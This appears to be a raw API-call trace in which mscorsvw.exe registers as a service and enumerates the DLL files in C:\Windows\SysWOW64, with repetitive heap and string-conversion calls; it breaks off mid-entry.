1 Thread: id = 768 os_tid = 0x4cc Thread: id = 769 os_tid = 0x5bc Thread: id = 770 os_tid = 0x79c Thread: id = 771 os_tid = 0x6d4 [0173.151] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x107ce51) returned 0x33e408 [0173.151] SetServiceStatus (hServiceStatus=0x33e408, lpServiceStatus=0x19af978*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0173.188] GetCommandLineW () returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" [0173.188] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e268 [0173.188] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x5c) returned 0xd5dd28 [0173.188] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e1e0 [0173.188] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e2f0 [0173.188] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e378 [0173.188] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e400 [0173.188] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e488 [0173.188] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e510 [0173.188] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e598 [0173.188] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e620 [0173.189] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e6a8 [0173.189] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e730 [0173.189] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e7b8 [0173.189] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x100) returned 0xd67cf8 [0173.189] GetSystemWow64DirectoryW (in: lpBuffer=0xd67cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0173.189] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd67cf8) returned 1 [0173.189] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e840 [0173.189] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e840) returned 1 [0173.189] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e840 [0173.189] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x19af6d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19af6d4) returned 0x33fe30 [0173.189] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.189] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.189] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0xd5c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0173.189] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.189] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.189] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.189] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.189] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.189] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0173.191] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.191] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0173.191] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0xd5c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0173.191] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.191] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.191] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.191] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.191] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.191] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0173.191] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.191] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.191] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0xd5c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0173.191] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.191] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.191] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.191] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.191] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.191] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0173.191] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.192] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.192] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0xd5c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0173.192] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.192] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.192] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.192] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.192] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.192] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0173.192] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.192] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0173.192] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0xd5c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0173.192] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.192] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.192] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.192] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.192] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.192] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0173.192] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.192] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.192] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0xd5c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0173.192] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.192] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.192] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.192] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.192] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.192] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0173.192] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.192] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0173.192] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0xd5c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0173.193] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.193] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.193] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.193] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.193] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.193] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0173.193] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.193] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0173.193] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0xd5c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0173.193] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.193] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.193] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.193] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.193] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.193] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0173.193] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.193] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.193] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0xd5c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0173.193] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.193] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.193] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.193] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.193] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.193] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0173.193] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.193] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.193] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0xd5c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0173.193] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.193] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.193] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.193] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.193] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.193] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0173.194] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.194] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.194] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0xd5c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0173.194] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.194] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.194] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.194] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.194] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.194] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0173.194] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.194] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.194] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0xd5c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0173.194] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.194] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.194] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.194] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.194] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.194] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0173.194] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.194] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, 